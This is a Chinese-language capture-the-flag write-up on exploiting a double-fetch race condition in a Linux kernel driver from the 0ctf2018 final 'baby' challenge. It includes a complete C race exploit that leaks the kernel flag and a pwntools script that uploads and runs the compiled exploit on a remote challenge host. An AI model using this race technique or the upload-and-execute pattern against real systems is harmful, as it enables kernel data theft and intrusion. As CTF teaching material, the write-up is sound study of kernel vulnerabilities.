linux kernel pwn学习之double fetch

Double fetch

Double fetch漏洞是一种条件竞争漏洞,由于多线程的原因,使得内核里多次访问到用户的数据不一致而引发的漏洞。我们用户态传数据给内核,如果是简单的数据,则按传值传递,如果数据量很大很复杂,我们则传指针给内核。内核里首先会对数据的合理性进行校验,校验成功后,待会内核又重新在某处来访问我们的数据,而如果有另外一个线程在这之前篡改了数据,就使得数据不一致,从而可能形成漏洞。

我们以0ctf2018-final-baby这题为例

首先,我们用IDA分析一下ko驱动文件

经过分析,驱动里的ioctl函数定义了两个交互命令,0x6666命令,用于获取驱动里的flag的地址,0x1337用于传递给驱动数据,如果检验成功,则输出flag。

检验点有三个

  1. 传递的数据指针范围必须在用户态内存内
  2. 传递的长度必须等于真正的flag的长度
  3. 传递的flag的内容必须与内核里的flag内容一样

传给内核的数据结构如下

  1. typedef struct {  
  2.    char *flag_addr;  
  3.    size_t len;  
  4. } Data;  

显然,我们直接把flag_addr传为内核给我们的那个flag地址,不能通过if里面的验证。我们可以以多线程来思考这个问题。我们开一个线程,里面不断的修改flag_addr为内核态的flag地址。然后再来一个线程,不断向内核传输能够通过验证的数据。两个线程会有碰撞,如果第二个线程在某时刻,数据通过了内核的验证,但内核还没有执行for循环,此时,另一个线程,修改了用户态的flag_addr,将它指向了内核态的flag。接下来,第二个线程开始执行for循环了,通过验证,最后输出flag。

我们的exploit.c程序,如果没有得到flag,可以多试几次,注意使用静态编译

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <pthread.h>

#define LINE_LEN 0x100
//碰撞次数
#define TRYTIME 0x3000

//传给驱动的数据结构
typedef struct {
   char *flag_addr;
   size_t len;
} Data;
//我们用户态的一段缓冲区
char user_buf[0x34] = {0};
int finished = 0;


long flag_addr = -1; //内核返回给我们的flag_addr地址
//这个线程,用于修改通过验证的data里面的flag_addr
void changeFlagAddr(void *s) {
   Data *data = (Data *)s;
   while (!finished) {
      data->flag_addr = (char *)flag_addr;
   }
}

int main() {
   //线程句柄
   pthread_t t1;
   //打开驱动的文件描述符
   int fd = open("/dev/baby",O_RDWR);
   //请求驱动返回给我们flag的地址
   ioctl(fd,0x6666);
   //关闭标准输入输出缓冲
   setvbuf(stdin,0,2,0);
   setvbuf(stdout,0,2,0);
   setvbuf(stderr,0,2,0);
   //读取flag的地址
   FILE *info = popen("dmesg","r");
   fseek(info,-LINE_LEN,SEEK_END);
   char line[1024];
   while (fgets(line, sizeof(line),info) != NULL) {
      char *index;
      if ((index = strstr(line,"Your flag is at "))) {
         index += strlen("Your flag is at ");
         flag_addr = strtoull(index,index+16,16);
      }
   }
   pclose(info);
   if (flag_addr == -1) {
      printf("error:get flag addr!\n");
      exit(-1);
   }
   printf("flag_addr=0x%lx\n",flag_addr);
   //准备好我们的数据,全为用户态数据,待会发给驱动,通过验证
   Data data;
   data.flag_addr = user_buf;
   data.len = 33;
   //开启一个线程,不断尝试把flag_addr指向内核态的flag_addr
   pthread_create(&t1, NULL,changeFlagAddr,&data);
   //正常线程,不断尝试发送合法的数据给驱动
   for (int i=0;i<TRYTIME;i++) {
      ioctl(fd,0x1337,&data);
      data.flag_addr = user_buf;
   }
   finished = 1;
   //等待线程结束
   pthread_join(t1, NULL);
   //关闭文件描述符
   close(fd);
   puts("the result is:");
   system("dmesg | grep flag");
   return 0;
}

如果在远程,我们则先在本地编译好二进制文件,然后借助于base64编码来传送二进制文件到远程执行。

transfer.py

 

#coding:utf8
from pwn import *
import base64

sh = remote('xxx',10100)

#我们编写好的exploit
f = open('./exploit','rb')
content = f.read()
total = len(content)
f.close()
#每次发送这么长的base64,分段解码
per_length = 0x200;
#创建文件
sh.sendlineafter('$','touch /tmp/exploit')
for i in range(0,total,per_length):
   bstr = base64.b64encode(content[i:i+per_length])
   sh.sendlineafter('$','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
if total - i > 0:
   bstr = base64.b64encode(content[total-i:total])
   sh.sendlineafter('$','echo {} | base64 -d >> /tmp/exploit'.format(bstr))

sh.sendlineafter('$','chmod +x /tmp/exploit')
sh.sendlineafter('$','/tmp/exploit')


sh.interactive()

本题还可以使用盲注,因为flag被硬编码在ko驱动文件里,我们可以在用户态mmap两块内存,其中第一块内存可读写,第二块内存设置不可读写,然后,我们将需要对比的那个字符放在第1块内存的末尾,由于第二块内存不可读写,驱动在执行for循环对比字符时,如果我们猜测的前一个字符是正确的,将会继续访问下一个字符,而下一个字符的位置在第二块不可读写的内存,此时内核就会报错。由此,我们可以来判断是否猜测正确。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章